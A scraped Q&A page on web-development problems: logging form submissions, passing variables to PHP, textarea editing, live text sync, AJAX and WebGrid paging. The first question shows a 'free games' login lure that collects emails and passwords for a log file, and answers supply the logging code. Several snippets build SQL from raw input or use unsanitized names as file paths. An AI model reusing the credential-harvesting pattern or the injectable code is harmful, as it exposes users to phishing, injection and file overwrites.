Save logs from form into a txt file - javascript

form {position: absolute; left: 45%; top: 35%;}
#email {position: relative;left: 30%;bottom: 90%;text-shadow:1px 1px #D8E3EC;color: #097BDA;}
#password {position: relative;left: 25%;bottom: 100%;text-shadow:1px 1px #D8E3EC;color: #097BDA;}
#submit {position: absolute;bottom: -30%;left: -30%;text-shadow:1px 1px #D8E3EC;padding: 0.5% 25%;border-radius: 2px;background-color: #31A1FF;border-width: 4px;border-color: #0468BB;}
#submit:hover{background-color: #67BAFF;}
#eee {border-radius: 5px;}
#ppp {border-radius: 5px;}
#titlu {position: absolute;left: 31.5%;text-shadow:2px 2px #F9FBFC;font-family: fantasy;color: #097BDA;}
body {background-image: url(background.jpg);}
#tran {opacity: 0.9;position: absolute;left: 37%;top: 20%;;width: 30px 30px;}
<!DOCTYPE HTML>
<html>
<head>
<title>Website</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<img id="tran" src="tran.jpg">
<h1 id="titlu">Welcome,please login to get free games right now!</h1>
<form class="formm" action="form.php" method="get">
<p id="email">Email</p>
<input id="eee" type="email" placeholder="Put your email here"><br />
<p id="password">Password</p>
<input id="ppp" type="password" placeholder="Put your password here"> <br />
<input id="submit" type="submit" value="GET YOUR FREE GAME NOW!">
</form>
</body>
</html>
So I want to add something like - when I put my email and password and press submit button, to get the logs into another file, like logs.txt.

In PHP is really simple creating files and writing something into them. If you want write a log every time someone submits your form, you just need to call this function :
<?php
function write_log($string) {
$log_file = 'log.txt';
$string .= PHP_EOL;
if ($fh = #fopen($log_file, "a+")) {
fputs($fh, $string, strlen($string));
fclose($fh);
return true;
} else {
return false;
}
}
?>
Naturally it must exists a file called 'log.txt' to write in. If it extists, you just need to call this function setting your log content as the string parameter. Here is an example :
<?
//Write "Hello World" into your log.txt file.
write_log("Hello World");
?>
What does PHP_EOL do?
PHP_EOL is a constant the simply find the best method to break a line in the system you're using. So that you can insert multiple lines formatted in a great schema without do anything.
References
http://php.net/manual/en/reserved.constants.php
http://php.net/manual/en/function.fputs.php

Javascript can't write to a log.txt file unless you use scripting.FileSystemObject which is an ActiveX and runs with IE only. I would suggest to use console.log() to make it happen or call a webservice to write the log in other end.
Update: If you are flexible, nodeJs can provide you a solution with filesystem
var fs = require('fs');
fs.appendFile('log.txt', 'Log text data to append', function (err) {
if (err) throw err;
console.log('Log updated');
});

Related

Posting a variable in a php file

i've created 3 files. The main is html with javascript, the second one is based on php only and the third one uses html and inline php forms.
In main file, i've written the below script:
$(document).on('click', '.print_fumes_card', function(){
var user_id1 = $(this).attr("id");
alert(user_id1);
$.ajax({
url:"print/print_fumes_card.php",
method:"POST",
data:{user_id1:user_id1},
success:function(data)
{
window.open ("print/print_fumes_card.php","_blank");
}
})
});
The above script is enabled, only when i press the button '.print_fumes_card' in second php file.
The problem is that var user_id1 doesn't pass to third file (mix of html and php) "print_fumes_card.php" and i can't undertand why.
I need that variable in 3rd file to, execute some select queries.
The structure of thrid file is the following:
<!DOCTYPE html>
<?php
require 'conn.php';
echo $_POST["user_id1"];
?>
<html lang="en">
<head>
<style>
.table {
width: 100%;
margin-bottom: 20px;
}
.table-striped tbody > tr:nth-child(odd) > td,
.table-striped tbody > tr:nth-child(odd) > th {
background-color: #f9f9f9;
}
#media print{
#print {
display:none;
}
}
#media print {
#PrintButton {
display: none;
}
}
#page {
size: auto; /* auto is the initial value */
margin: 10; /* this affects the margin in the printer settings */
}
</style>
<link rel="stylesheet" href="style4.css" media="all" />
</head>
<body>
<header class="clearfix">
<div id="logo">
<img src="logo1.png">
</div>
<div id="company">
<h2 class="name">App</h2>
<div>address</div>
<div>phone</div>
<div>email</div>
<div>web</div>
</div>
</div>
</header>
<main>
<div id="details" class="clearfix">
<div id="client">
<div class="to">Plate:</div>
<div class="address"><?php
require 'conn.php';
$result = $conn->query("SELECT * FROM vehicles WHERE plate=(SELECT plate FROM visits WHERE vid='".$_POST["user_id1"]."')");
$row = mysqli_fetch_array($result);
echo $row['plate'];
?></div>
</div>
....
....
..
.
.
The problem is that $_POST["user_id"] variable isn't recognized as in second file, which is only php. Is there any special technique to pass that variable in third file?
I've tried different combinations and i can't figure out what i'm missing.
The two separate requests to print/print_fumes_card.php make little sense based on the information provided. The initial ajax post passes only user_id1 and does not appear to be attempting to make any change to the data. The second request does not pass the param at all. Just pass the param in the window.open call -
$(document).on('click', '.print_fumes_card', function(){
var user_id1 = $(this).attr("id");
alert(user_id1);
window.open ('print/print_fumes_card.php?user_id1=' + user_id1, '_blank');
});
And then -
<?php
require 'conn.php';
echo $_GET['user_id1'];
?>
The comment about understanding the SQL Injection vulnerabilities and using prepared statements still stands. At the very least you should force the type -
$user_id1 = (int) $_GET['user_id1'];

Add text to a textarea with JavaScript

Again I got a problem with JavaScript, but this time is something more complex.
I'm trying to make a little JavaScript text editor. Basically it's an experiment, a test and the thing should be easy. I have a <h1> HTML element, and a <p> HTML element, and both of them change, as the user writes on a <input type="text" /> element and a <textarea></textarea>.
Now, everything work fine, but there is a problem. For making a space between lines, the user can't just press Enter, but of course need to use the <br /> HTML tag.
So my idea was to make a little button that allows the user to add this tag by pressing that button.
And JavaScript just makes a variable of the actual text, save it and add at the end of it the <br />. The result should be the text written by the user plus the break HTML tag.
And this works, if the textarea is empty and if you have never written something on it. It works and work even 10 or 20 times, but if you write something on it, it just stop working, even if you delete all the text. What is the problem in the code below?
<html>
<head>
<title>Text editor</title>
<meta charset="utf-8" />
<link href="https://fonts.googleapis.com/css?family=Roboto|Roboto+Slab" rel="stylesheet">
<style>
.title {
font-family: roboto;
text-align: center;
}
.text {
font-family: roboto slab;
text-align: justify;
margin-bottom: 40px;
}
.container {
width: 80%;
}
.textarea {
width: 100%;
height: 30em;
text-indent: 0.5em;
}
.title_box {
margin: 10px;
width: 20em;
padding: 10px;
font-size: 1em;
}
</style>
</head>
<body>
<center>
<div class="container">
<h1 class="title" id="title_space">Title of the page</h1>
<p class="text" id="text_space">Content of the page.</p>
</div>
</center>
<hr />
<center><input type="text" class="title_box" placeholder="Title" id="title_box" /></center>
<textarea class="textarea" id="text_box"></textarea>
<input type="submit" value="Save" onclick="saveText()" />
<input type="submit" value="br" onclick="br()" />
<script>
function saveText(){
var title = document.getElementById("title_box").value;
var text = document.getElementById("text_box").value;
document.getElementById("title_space").innerHTML = title;
document.getElementById("text_space").innerHTML = text;
}
function br(){
var actualtext = document.getElementById("text_box").value;
var processedtext = actualtext + "<br />";
document.getElementById("text_box").innerHTML = processedtext;
}
</script>
</body>
</html>
When you're updating the text area, instead of:
document.getElementById("text_box").innerHTML = processedtext;
Use:
document.getElementById("text_box").value = processedtext;
Try to add this to your JavaScript code just before changing the text
text = text.replace(/\r?\n/g, '<br>');
Line breaks are \r\n or \n while HTML line break is <br> and that is the problem.
This in case I understood your question correctly.
Here is the code running

Synchronize text area in html

I am creating a simple web application in which whatever the client types on textarea field also appears
on the server side textarea field at the same time.
Imagine it as 2 tabs In one tab user writes on text area and on the other tab user sees the whatever the user has typed at the same time.
Below is the two jsp files code snippet
client.jsp
<%
code=request.getParameter("code_area");
out.print(code);
try
{
File file=new File("code");
if(file.exists())
{
BufferedWriter bw=new BufferedWriter(new FileWriter(file));
bw.write(code);
bw.close();
}
}
catch(Exception e)
{
e.printStackTrace();
}
%>
<form action="client.jsp">
<textarea name="code_area"> <%=code%> <textarea>
</form>
server.jsp
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Server</title>
<%#page import="java.io.*"%>
<script>
setTimeout("location.reload(true);",1000);
</script>
</head>
<body>
<%
InputStreamReader reader=new InputStreamReader(new FileInputStream("code"));
BufferedReader in=new BufferedReader(reader);
String s;
while((s=in.readLine())!=null)
out.print(s);
%>
</body>
</html>
In other Words whatever the user types on the textarea field in the client side appears on the server side at the same time.
The solution that i thought for this problem ..
I created a common file so that whatever user types on textarea in client gets saved in the file and the server side reads from the text-file at the same time.
But sadly i am not able to code it..Because of the problems i am facing in this ..
Everytime i save a file the cursor in the textarea gets to the beginning of the line which i dont want to happen...?
In order to save the data into text file i need to click on submit button ...Auto submit
which i tried from this example http://www.formget.com/javascript-auto-submit-form/# is not working ....
Can somebody help me to tackle this problem ??
Any help would be highly appreciated ...
My new understanding (through comments) of the question is... There is a teacher who wants to see all the imputs of the students in real time, each student has 1 input area and the teacher has an display of each students input but can not edit them.
We will create 2 HTML documnet sand 2 PHP APIs. The first HTML document is for the student to enter their name and then a text area for them to enter an answer. The second HTML documnet will be for the teacher to view all the answers. The first API will be for the students to submit their answer (after each keypress ~real time). And the second API will be for the teacher to retrieve all the students answers (with a small refresh interval to simulate real time without having to use WebSockets).
Also you should create a directory/folder within this directory/folder named "answers" and if you are are Mac/Linux give permissions 0777 to the "answers" directory/folder.
Student.html
<html>
<head>
<title>Student</title>
<script src='http://code.jquery.com/jquery-2.1.1.min.js'></script>
<script>
$(function () {
$("#answer").on("keyup", function (e) {
$.post("sendAnswer.php", {name: $("#name").val(), answer: e.target.value}, function(){console.log(arguments)});
});
$("#name").on("blur", function(e){
if(e.target.value.length>0)
$("#answer").attr("disabled", false);
});
});
</script>
</head>
<body>
<label for='name'>Who are you?</label>
<input type='text' id='name' Placeholder='Name' />
<br><br>
<textarea id='answer' placeholder='Answer' disabled></textarea>
</body>
</html>
Teacher.html
<html>
<head>
<title>Teacher</title>
<script src='http://code.jquery.com/jquery-2.1.1.min.js'></script>
<script>
$(function(){
refresh_answers();
window.setInterval(refresh_answers, 500); // Refresh Every 500ms (0.5 seconds)
});
function refresh_answers(){
$.get("getAnswers.php", function(x){
x = JSON.parse(x);
var s = ""; // HTML string
for(var i=0;i<x.length;i++){
s+="<div><span class='name'>"+x[i].name+"</span><span class='answer'>"+x[i].answer+"</span></div>";
}
$("#answers").html(s);
});
}
</script>
<style>
#answers div {
display: inline-block;
width: 256px;
height: 256px;
border: 1px solid black;
margin: 16px;
}
#answers .name {
display: block;
width: 256px;
height: 56px;
text-align: center;
font-size: 25px;
line-height: 56px;
font-weight: 700;
border-bottom: 1px solid black;
}
#answers .answer {
display: block;
padding: 16px;
font-size: 14px;
}
</style>
</head>
<body>
<div id='answers'></div>
</body>
</html>
sendAnswer.php
<?php
file_put_contents(dirname(__FILE__)."/answers/".$_POST['name'].".txt", $_POST['answer']);
?>
getAnswers.php
<?php
$answers = glob(dirname(__FILE__)."/answers/*");
$answers_array = array();
foreach($answers as $a){
$answer = array();
$answer['answer'] = file_get_contents($a);
$name = explode("/", $a);
$name = array_pop($name);
$name = str_replace(".txt", '', $name);
$answer['name'] = $name;
array_push($answers_array, $answer);
}
print_r(json_encode($answers_array));
?>
This can be done with WebSockets but that's way more complicated to set up, but it would be more proper and faster.
For an easy solution (without WebSockets), what you need to do is send an ajax POST request to the server every time the key is pressed, this might be really slow but it should work. Here I will be using jQuery on the client side and PHP on the server side.
HTML
<input id='input' />
JavaScript / jQuery
// After DOM ready
$(function(){
// When a character is entered in the input
$("#input").on("keyup", function(e){
// Send the inputs value to the server
$.post("saveInput.php" {text: e.target.value});
});
});
PHP (saveInput.php)
<?php
file_put_contents("input.text", $_POST['text']);
?>
This should save their input into a text file called input.txt on the server every time they enter a character in the input.
Take a look at this plugin I think it will do what you want:
https://togetherjs.com/

AJAX code confusion using GET method

I bought a book and began learning how to use AJAX and someone gave me a practice assignment where I have to enter values into one div and perform an AJAX get request to a website she gave me to receive the information in the right div. Maybe I am doing the AJAX get request incorrectly following this book. If anyone could point me in the right direction I would appreciate it. This is not for school, and I have no experience in web scripting languages but willing to learn. Just give my javascript a look and maybe you can help me out. I am not sure yet on how to display the information after it has been received but I know for sure I do not want to load another page when hitting the submit button!
Also, I have a weird way of lining up my code from programming in C++ for about 4 years now. I have developed it over time and sorry if it is hard to understand. If so, then I can format it a proper way and re-post. Also, I am trying to learn how to use the AJAX GET method, not the POST method. And I want to return the information in JSON.
<html>
<head>
<style type="text/css">
#header {
text-align: left;
}
#wrapper {
margin:bottom;
width:100%;
}
#sub-left {
float:left;
width:225px;
height:215px;
border:1px solid black;
position: relative;
text-align: left;
}
#sub-right {
padding-left: 52px;
float:left;
width:60%;
height:45%;
border:1px solid black;
position: relative;
text-align: left;
}
#sub-leftmost {
float:left;
width:10%;
height:100%;
position: relative;
text-align: left;
}
</style>
<script type=”text/javascript”>
// function create GetXmlHttpObject
function GetXmlHttpObject(){
if (window.XMLHttpRequest){
// code for IE7+, Firefox, Chrome, Opera, Safari
return new XMLHttpRequest();
}
if (window.ActiveXObject){
// code for IE6, IE5
return new ActiveXObject(“Microsoft.XMLHTTP”);
}
return null;
}
function submitFormWithAjax(){
var myAjaxGetrequest = new GetXmlHttpObject();
var t2lName=document.testForm.namebox.value;
var t2lEmail=document.testForm.ebox.value;
var t2lAddress=document.testForm.addbox.value;
var t2lPhone=document.testForm.phnbox.value;
var parameters = "name=" + encodeURIComponent(t2lName)
+ "&email=" +encodeURIComponent(t2lEmail)
+ "&address=" + encodeURIComponent(t2lAddress)
+ "&phone=" +encodeURIComponent(t2lPhone);
myAjaxGetrequest.open("GET", "websitetosendandgetfrom.com" + parameters, true);
myAjaxGetrequest.send( );
if (myAjaxGetrequest.readyState==4){
if(myAjaxGetrequest.status==200 || window.location.href.indexOf("http")==-1){
document.getElementById("result").innerHTML=myAjaxGetrequest.responseText
document.getElementById(“testForm”).style.display = “none”;
}
else {
document.getElementById(“testForm”).innerHTML=”An error has occured making the request”;
}
}
}
}
</script>
</head>
<body>
<div id="wrapper">
<div id="sub-leftmost">
</div>
</div>
<div id="wrapper">
<div id="header"><h1>Quiz</h1></div>
<div id="sub-left">
<form name = 'testForm'>
<FONT COLOR="CC3300",font size="5"> <b>User Info</b></FONT>
<br />
Full Name: <br /><center><input type="text" size="25" id = "namebox" /></center>
Email Address: <br /><center><input type="text" size="25" id = "ebox" /></center>
Address: <br /><center><input type="text" size="25" id = "addbox" /></center>
Phone Number: <br /><center><input type="text" size="25" id = "phnbox" />
<a href=”#” onclick=”submitFormWithAjax();”>Finished!</a>
</form>
</div>
</div>
<div id="wrapper">
<div id="sub-right">
</div>
</div>
</body>
</html>
The request is asynchronous and will only call a callback function when its status changes.
Basically, all the code that depends upon the request's status change needs to be wrapped into the callback of the AJAX request:
myAjaxGetrequest.send();
myAjaxGetrequest.onreadystatechange = function() {
if (myAjaxGetrequest.readyState==4){
...

New to HTML,WebMatrix,Razor,etc Dealing with WebGrid

I'm am very sorry if this has been asked before but I cannot find it anywhere.
I am fairly new to web development in all aspects, but decided to create a nice little application to access and search a database from anywhere in the office.
I followed several tutorials using WebMatrix on how to set up a simple webpage etc and I have it mostly working, except for dealing with going to the next page in WebGrid. Here is what im talking about (kind of obscure but it cannot be helped)
I found two examples online about trying to use javascript and they gave me these bits of code to use..
In a file called _layout.cshtml
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Start</title>
<script src="#Href("~/scripts/jquery-1.6.2.min.js")" type="text/javascript"></script>
<link href="#Href("~/styles/site.css")" rel="stylesheet" />
#RenderSection("script", required: false);
</head>
<body>
#RenderBody();
</body>
</html>
Then a file called _PageStart.cshtml
#{
Layout = "~/_layout.cshtml";
}
Then I started creating my own site and modeling it after a few tutorials I had seen, specifically involved around the WebGrid.
This is my Default.cshtml
#{
string searchStr = Request["searchBox"];
string choice = Request["choice"];
Database db = Database.Open("NameOfDatabase");
if(choice == null)
{
choice = "DefaultColumnName"; // they choose which column they want to search
//via radio buttons
}
var queryStr = "SELECT * FROM databaseTable WHERE "+choice
+" LIKE '"+searchStr+"%'";
var data = db.Query(queryStr);
WebGrid grid = new WebGrid(source: data,
defaultSort: "Name",
rowsPerPage: 20, canPage:true, canSort:true);
if(IsPost)
{//not really doing anything here
}
}
<head>
<title>Database</title>
<style type="text/css"> " //added that because it was goofing up the color scheme..
.grid { margin: 4px; border-collapse: collapse; width: 600px; }
.head { background-color: #E8E8E8; font-weight: bold; color: #FFF; }
.grid th, .grid td { border: 1px solid #C0C0C0; padding: 1px; }
.alt { background-color: #E8E8E8; color: #000; }
.style1{ min-width: 300px; max-width:400px; font-weight:bold; white-space:nowrap; overflow:hidden;}
.style2{ min-width: 100px; max-width:150px; overflow:hidden;}
.style3{ min-width: 200px; max-width:250px; overflow:hidden; white-space:nowrap;}
.style4{ min-width:100px; max-width:200px; overflow:hidden; }
.style5{ min-width: 150px; max-width:250px; overflow:hidden; white-space:nowrap;}
.style6{ min-width: 200px; max-width:250px; overflow:hidden;}
</style>
</head>
<body onload="document.form1.searchBox.focus();">
<h1>Database</h1>
<form name="form2" method="post" action="">
<p><input type="submit" name="populate" value="Populate DB" /></p>
</form>
<div id="grid">
#grid.GetHtml(
tableStyle: "grid",
headerStyle: "head",
alternatingRowStyle: "alt",
columns: grid.Columns(
grid.Column("Name","Name",
format: #<p title="#item.Name.Trim()">#item.Name</p>,
style:"style1"),
//repeat to create 5 more columns exactly the same essentially
), mode: WebGridPagerModes.All
)
</div>
<form name="form1" method="post" action="Default">
<p><label for="searchBox">Search:</label>
<input type="text" name="searchBox" value="#searchStr" /></p>
<p><input type="radio" name="choice" value="Name" />
<label for="Name">Name</label></p>
<p><input type="radio" name="choice" value="choice1" />
<label for="choice1">choice1</label></p>
<p><input type="radio" name="choice" value="choice2" />
<label for="choice2">choice2</label></p>
<p><input type="radio" name="choice" value="choice3" />
<label for="choice3">choice3</label></p>
<p><input type="radio" name="choice" value="choice4" />
<label for="choice4">choice4</label></p>
<p><input type="radio" name="choice" value="choice5" />
<label for="choice5">choice5</label></p>
<p><input type="submit" name="Submit" value="Submit" /></p>
</form>
</body>
#section script{
<script type="text/javascript">
$(function () {
$('th a, tfoot a').live('click', function () {
$('form1').attr('action', $(this).attr('href')).submit()
return false;
});
});
</script>
}
That is my website in general.. Well whenever you enter say someones name and a choice and click submit, it queries it fine, but if there are more than 20 names then when i click on the second page it essentially redoes my orginial query to get all the names and i loose what they typed into the text field and which option they choose.
The script I found is supposed to fire whenever they user clicks on the links that the webgrid creates to go to the next page, and put the data from form1 into something so that I can pull it back out when the page is loaded again.
I have looked and looked online for a solution and if I have found one I havent understood how it works.. so if anyone out there understands what I'm talking about and could help me out it would be greatly appreciated.
Thanks!
Take a read of Mikesdotnetting The WebGrid - Efficient Paging and Sorting at
http://mikesdotnetting.com/Article/181/The-WebGrid-Efficient-Paging-And-Sorting-With-SQL-CE-4.0
Should give you some ideas to work with.

Categories